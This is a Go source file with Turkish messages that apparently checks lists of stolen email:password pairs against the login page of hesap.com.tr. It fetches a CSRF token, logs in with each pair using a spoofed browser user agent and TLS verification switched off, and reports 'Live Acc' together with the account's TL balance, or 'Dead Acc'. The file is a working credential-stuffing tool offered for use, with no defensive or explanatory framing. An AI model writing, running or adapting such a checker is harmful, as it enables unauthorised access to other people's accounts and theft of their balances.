143 lines
3.3 KiB
Go
143 lines
3.3 KiB
Go
package main
|
||
|
||
import (
|
||
"bufio"
|
||
"crypto/tls"
|
||
"fmt"
|
||
"io"
|
||
"log"
|
||
"net/http"
|
||
"net/http/cookiejar"
|
||
"os"
|
||
"regexp"
|
||
"strings"
|
||
)
|
||
|
||
func main() {
|
||
fmt.Print("Hesaplar dosyasının adı: ")
|
||
var filename string
|
||
fmt.Scanln(&filename)
|
||
|
||
file, err := os.Open(filename)
|
||
if err != nil {
|
||
log.Fatalf("Dosya açılamadı: %v", err)
|
||
}
|
||
defer file.Close()
|
||
|
||
scanner := bufio.NewScanner(file)
|
||
for scanner.Scan() {
|
||
jar, _ := cookiejar.New(nil)
|
||
|
||
client := &http.Client{
|
||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
||
Jar: jar,
|
||
}
|
||
|
||
line := scanner.Text()
|
||
parts := strings.Split(line, ":")
|
||
if len(parts) != 2 {
|
||
fmt.Printf("Geçersiz format: %s\n", line)
|
||
continue
|
||
}
|
||
|
||
email := parts[0]
|
||
password := parts[1]
|
||
|
||
csrfToken, err := getCSRFToken(client)
|
||
if err != nil {
|
||
log.Printf("CSRF token alınamadı: %v\n", err)
|
||
continue
|
||
}
|
||
|
||
login(client, csrfToken, email, password)
|
||
|
||
}
|
||
|
||
if err := scanner.Err(); err != nil {
|
||
log.Fatalf("Dosya okuma hatası: %v", err)
|
||
}
|
||
}
|
||
|
||
func getCSRFToken(client *http.Client) (string, error) {
|
||
req, err := http.NewRequest("GET", "https://hesap.com.tr/login", nil)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
|
||
req.Header.Set("Referer", "https://hesap.com.tr/login")
|
||
|
||
resp, err := client.Do(req)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
defer resp.Body.Close()
|
||
|
||
body, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
|
||
matches := re.FindStringSubmatch(string(body))
|
||
if len(matches) < 2 {
|
||
return "", fmt.Errorf("CSRF token bulunamadı %s", string(body))
|
||
}
|
||
|
||
return matches[1], nil
|
||
}
|
||
|
||
func login(client *http.Client, csrfToken, email, password string) (bool, error) {
|
||
data := fmt.Sprintf("_token=%s&email=%s&password=%s", csrfToken, email, password)
|
||
req, err := http.NewRequest("POST", "https://hesap.com.tr/login", strings.NewReader(data))
|
||
if err != nil {
|
||
return false, err
|
||
}
|
||
|
||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
|
||
req.Header.Set("Referer", "https://hesap.com.tr/login")
|
||
|
||
resp, err := client.Do(req)
|
||
if err != nil {
|
||
return false, err
|
||
}
|
||
defer resp.Body.Close()
|
||
|
||
body, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return false, err
|
||
}
|
||
|
||
if strings.Contains(string(body), string("balance")) == true {
|
||
re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
|
||
match := re.FindStringSubmatch(string(body))
|
||
if len(match) > 1 {
|
||
|
||
} else {
|
||
fmt.Println("Miktar bulunamadı.")
|
||
}
|
||
fmt.Printf("Live Acc: %s:%s", email, password)
|
||
fmt.Printf("TL Miktarı: %s\n", match[1])
|
||
return true, nil
|
||
} else {
|
||
//fmt.Println("Sunucu Yanıtı:", string(body))
|
||
fmt.Printf("Dead Acc: %s:%s\n", email, password)
|
||
return false, nil
|
||
}
|
||
|
||
}
|
||
|
||
func appendToFile(filename, content string) {
|
||
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||
if err != nil {
|
||
log.Fatalf("Dosya yazma hatası: %v", err)
|
||
}
|
||
defer file.Close()
|
||
|
||
_, err = file.WriteString(content)
|
||
if err != nil {
|
||
log.Fatalf("Dosyaya yazma hatası: %v", err)
|
||
}
|
||
}
|